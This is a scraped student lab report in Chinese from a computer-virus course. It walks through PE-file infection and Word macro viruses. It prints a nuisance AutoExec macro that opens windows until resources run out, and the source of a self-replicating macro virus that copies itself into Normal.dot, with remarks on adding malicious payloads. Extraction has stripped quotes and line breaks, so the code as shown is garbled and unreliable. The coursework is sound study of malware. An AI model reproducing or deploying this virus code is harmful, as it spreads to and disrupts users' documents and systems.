已阅读5页,还剩19页未读, 继续免费阅读
版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
计算机病毒实验报告 windows病毒实验 姓 名: 张艳秋 学 号: 班 级: 信安0802 指导老师: 韦 俊 银 实验日期: 2011.5.27 实验内容1PE文件感染实验(选)2暴风一号病毒3VBS病毒产生4宏病毒实验(选)PE文件感染实验实验目的了解pe病毒的感染过程实验环境硬件设备PC机一台(建议虚拟机)软件工具Office Word 2007实验步骤一:参照病毒感染PE文件的7个步骤,记录病毒是如何感染文件 (文字和截屏形式)病毒感染文件过程(以感染文件ebookcode.exe 为例):重定位,获得所有API地址:通过软件Stud_PE可查看可执行文件ebookcode.exe的结构可查看文件内容:1 判断目标文件开始的两个字节是否为“MZ”:2 判断PE文件标记“PE”:3判断感染标记,如果已被感染过则跳出继续执行宿主程序,否则继续:4 读取IMAGE_FILE_HEADER的NumberOfSections域,获得Data Directory(数据目录)的个数,(每个数据目录信息占8个字节):5得到节表起始位置。(数据目录的偏移地址+数据目录占用的字节数=节表起始位置):6得到节表的末尾偏移(紧接其后用于写入一个新的病毒节信息)节表起始位置+节的个数*(每个节表占用的字节数28H)=节表的末尾偏移7开始写入节表,感染文件:二:在掌握Stud_PE工具的基础上,比较文件感染前后有哪些变化。感染前:感染后:由上两图可以看出,感染前后有4处发生了变化:1:PE文件头中入口点: 感染病毒后ebookedit.exe程序的入口点变成了病毒文件的入口点2:PointerToRawData域值,即该文件的偏移量发生了变化;3:imag的大小发生了变化;4:sections的数量发生了变化。由.exe文件感染前后变化可知,PE病毒感染过程即在文件中添加一个新节,把病毒代码和病毒执行后返回宿主程序的代码写入新添加的节中,同时修改PE文件头中入口点(AddressOfEntryPoint),使其指向新添加的病毒代码入口。程序染毒后运行结果:1:首先执行病毒程序:2:病毒代码执行完后执行宿主程序:三:针对病毒源代码,指出与感染PE文件步骤相对应的程序段1判断目标文件开始的两个字节是否为“MZ”。 leaeax,ebx+offset szMsg1push eaxcallSingleTest2判断PE文件标记“PE”。3判断感染标记,如果已被感染过则跳出继续执行宿主程序,否则继续。4获得Data Directory(数据目录)的个数,(每个数据目录信息占8个字节)。5得到节表起始位置。(数据目录的偏移地址+数据目录占用的字节数=节表起始位置)6得到节表的末尾偏移(紧接其后用于写入一个新的病毒节信息)节表起始位置+节的个数*(每个节表占用的字节数28H)=节表的末尾偏移。7开始写入节表宏病毒实验目的了解Word宏语言,理解宏病毒的特点、共性及原理。学习人工发现宏病毒的方法及简单清除宏病毒方法。实验环境l 硬件设备PC机一台(建议虚拟机)l 软件工具Office Word 2007图1 宏病毒传播示意图实验步骤Step1:新建Word文档并打开Step2:.点击word选项,选择“在功能区显示开发工具”选项勾选红色区域点击“开发工具”选项,点击“宏安全性”,点击“宏设置”,选择“启用所有宏”“信任对VBA工程对象模型的访问”Step3:创建宏,命名AutoExec编辑一些宏命名的作用:1.标准宏:AutoExec:启动Word时加载全局模板AutoNew:每次创建新文档AutoClose:在关闭文档时2.标准宏:FileSave:保存文件FileSaveAs:改名另存为文件FileOpen:打开文件Step4:编辑宏,语法上注意VBA版本保存(本实验采用的VBA6.3或以上版本)输入以下代码:Sub AutoExec()Dim nm(4)MsgBox 您好!我一直在等着您!try:On Error GoTo 0On Error GoTo trytest = -1con = 1tog$ = i = 0 While test = -1 For i = 0 To 4 nm(i) = Int(Rnd() *5) con = (con * nm(i) If i = 4 Then tog$ = tog$ + Str$(nm(4) + =? GoTo beg End If tog$ = tog$ + Str$(nm(i) + * Next ibeg:Beepans$ = InputBox(今天是 + Date$ + 号,跟你玩一个心算游戏 + Chr$(13) + 若你答错,只好接受震撼教育. + Chr$(13) + tog$, 台湾 NO.1 Macro Virus)If RTrim$(LTrim$(ans$) = LTrim$(Str$(con) Then MsgBox 恭贺你答对了,按确定就告诉你想知道的., 台湾 NO.1 Macro Virus WordBasic.FileNewDefault WordBasic.CenterPara Beep WordBasic.Insert 如何预防巨集病毒 WordBasic.InsertPara Beep WordBasic.Insert 答案: WordBasic.Italic 1 WordBasic.Insert 不要看我. Else For j = 1 To 20 Beep WordBasic.FileNewDefault Next j WordBasic.CenterPara WordBasic.Insert 巨集病毒 GoTo try End IfWendEnd Sub知识点:OFFICE程序和他们使用的语言:Word 6.x Word7.xWordBasicOFFICE97VBA5.0OFFICE2kVBA6.0OFFICE XPVBA6.3Step5:关闭所有Word(必须)Step6:再次打开Word文档,宏病毒爆发弹出刚刚编写的msgbox窗口开始计算题代码程序回答12点击“确定”,重新出现计算窗口:如果算错,那么一次弹出20个窗口,直至资源耗尽Step7:启动任务管理器结束进程搜索winword.exe文件,并确定复制其位置Step8:启用CMD,定位winword位置:Cd C:Program FilesMicrosoft OfficeOffice12输入命令,用参数来打开安全模式winword.exe /a第一次安全模式第二次新建文档进行宏的打开设置来禁用宏Step9:搜索normal.dotm等模板文件,确定位置并删除那个文件夹下的所有模板Step10:简易摆脱宏完成思考题1. 上述病毒示例使用了宏的哪些功能?修改病毒的哪些部分可能会使其变成具备较强破坏力的恶性病毒。宏病毒会感染DOC文档文件和DOT模板文件;打开时激活,通过Normal模板传播;通过AutoOpen,AutoClose,AutoNew和AutoExit等自动宏获得控制权;病毒宏中必然含有对文档读写操作的宏指令。修改宏代码中try语句中所要执行的代码,修改程序进行恶意感染。2. 编写宏代码,在打开word文档时出现“Happy Every Day!”的欢迎词。Sub AutoExec()MsgBox Happy Every Day!End Sub3. 验证下列宏代码的效果,对代码关键语句加以注释: 打开一个word 2003文档,然后按Alt+F11调用宏编写窗口(工具宏Visual Basic宏编辑器),在左侧的projectMicrosoft Word对象ThisDocument中输入以上代码,保存,此时当前word文档就含有宏病毒,只要下次打开这个word文档,就会执行以上代码,并将自身复制到Normal.dot(word文档的公共模板)和当前文档的ThisDocument中,同时改变函数名(模板中为Document_Close,当前文档为Document_Open),此时所有的word文档打开和关闭时,都将运行以上的病毒代码,可以加入适当的恶意代码,影响word的正常使用。Micro-VirusSub Document_Open() /文件打开时调用On Error Resume NextApplication.DisplayStatusBar = FalseOptions.SaveNormalPrompt = False/打开文档,病毒并将自身复制到Normal.dot和当前文档的ThisDocument中Ourcode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 100)Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule/同时改变函数名(模板中为Document_Close,当前文档为Document_Open),此时所有的word文档打开和关闭时,都将运行以上的病毒代码,可以加入适当的恶意代码,影响word的正常使用If ThisDocument = NormalTemplate Then Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModuleEnd IfWith Host If .Lines(1.1) Micro-Virus Then .DeleteLines 1, .CountOfLines .InsertLines 1, Ourcode.ReplaceLine 2, Sub Document_Close()/函数名中模板中为Document_CloseIf ThisDocument = nomaltemplate Then.ReplaceLine 2, Sub Document_Open()/函数名中当前文档为Document_Open ActiveDocument.SaveAs ActiveDocument.FullName End If End IfEnd W
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 建筑垃圾无害化处理技术应用方案
- 轻型钢结构结构力学分析
- 医养结合大楼消防安全设计与实施方案
- 2025年医疗器械经营质量管理规范现场检查指导原则测试题附答案
- 2026年新疆博尔塔拉蒙古自治州单招职业倾向性测试必刷测试卷及答案1套
- 2026年成都工业职业技术学院单招职业技能测试必刷测试卷新版
- 2026年广西安全工程职业技术学院单招职业技能测试必刷测试卷必考题
- 2026年东营科技职业学院单招职业技能测试必刷测试卷新版
- 2026年陕西职业技术学院单招职业适应性测试必刷测试卷新版
- 2026年山西铁道职业技术学院单招职业适应性测试题库及答案1套
- GB/T 16414-1996煤矿科技术语岩石力学
- FZ/T 63012-2009涤纶长丝高强缝纫线
- ようだ みたいだ らしい そうだ 复习课件- 高三日语一轮复习
- 心理健康教育质课评分标准
- 髋关节假体临床评价
- 新版《接触镜验配》考试复习题库(含答案)
- 游泳池运行记录表
- 实验室生物安全安全工作检查记录表
- 植筋加固工程施工合同1
- 中班数学《小动物回家》课件
- DB4417∕T 2-2021 地理标志产品 春砂仁
评论
0/150
提交评论